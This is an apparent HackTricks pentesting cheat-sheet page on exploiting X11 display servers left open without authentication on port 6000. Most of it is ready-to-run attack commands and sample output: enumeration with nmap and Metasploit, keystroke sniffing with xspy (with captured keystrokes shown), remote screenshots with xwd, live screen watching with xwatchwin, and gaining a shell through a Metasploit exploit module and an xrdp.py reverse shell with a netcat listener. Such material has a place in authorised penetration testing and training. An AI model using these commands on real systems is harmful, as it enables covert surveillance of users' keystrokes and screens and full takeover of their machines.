HackTricks
Search…
Pentesting
Powered By GitBook
6000 - Pentesting X11

Basic Information

The X Window System (aka X) is a windowing system for bitmap displays, which is common on UNIX-based operating systems. X provides the basic framework for a GUI based environment. X also does not mandate the user interface – individual programs handle this. From: https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref
Default port: 6000
1
PORT STATE SERVICE
2
6000/tcp open X11
Copied!

Enumeration

Check for anonymous connection:
1
nmap -sV --script x11-access -p <PORT> <IP>
2
msf> use auxiliary/scanner/x11/open_x11
Copied!

Verfy Connection

1
xdpyinfo -display <ip>:<display>
2
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
Copied!

Keyloggin

xspy to sniff the keyboard keystrokes.
Sample Output:
1
xspy 10.9.xx.xx
2
3
opened 10.9.xx.xx:0 for snoopng
4
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
5
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
Copied!

Screenshots capturing

1
xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
2
convert screenshot.xwd screenshot.png
Copied!

Remote Desktop View

1
./xrdp.py <IP:0>
Copied!
First we need to find the ID of the window using xwininfo
1
xwininfo -root -display 10.9.xx.xx:0
2
3
xwininfo: Window id: 0x45 (the root window) (has no name)
4
5
Absolute upper-left X: 0
6
Absolute upper-left Y: 0
7
Relative upper-left X: 0
8
Relative upper-left Y: 0
9
Width: 1024
10
Height: 768
11
Depth: 16
12
Visual: 0x21
13
Visual Class: TrueColor
14
Border width: 0
15
Class: InputOutput
16
Colormap: 0x20 (installed)
17
Bit Gravity State: ForgetGravity
18
Window Gravity State: NorthWestGravity
19
Backing Store State: NotUseful
20
Save Under State: no
21
Map State: IsViewable
22
Override Redirect State: no
23
Corners: +0+0 -0+0 -0-0 +0-0
24
-geometry 1024x768+0+0
Copied!
XWatchwin
For live viewing we need to use
1
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
2
./xwatchwin 10.9.xx.xx:0 -w 0x45
Copied!

Get Shell

1
msf> use exploit/unix/x11/x11_keyboard_exec
Copied!
Other way:
Reverse Shell: Xrdp also allows to take reverse shell via Netcat. Type in the following command:
./xrdp.py <IP:0> –no-disp
Could not load image
It will prompt a new control pane where we can see the R-shell option, which is illustrated below:
Could not load image
We will start the Netcat listening mode in our local system on port 5555, which is illustrated below:
Could not load image
Then add the IP and port and then select R-Shell, which is illustrated below:
Could not load image
Now as can be seen below we have complete system access:
Could not load image
Exploiting X11 unauthenticated access - Infosec Resources
Infosec Resources

Shodan

    port:6000 x11
Last modified 1yr ago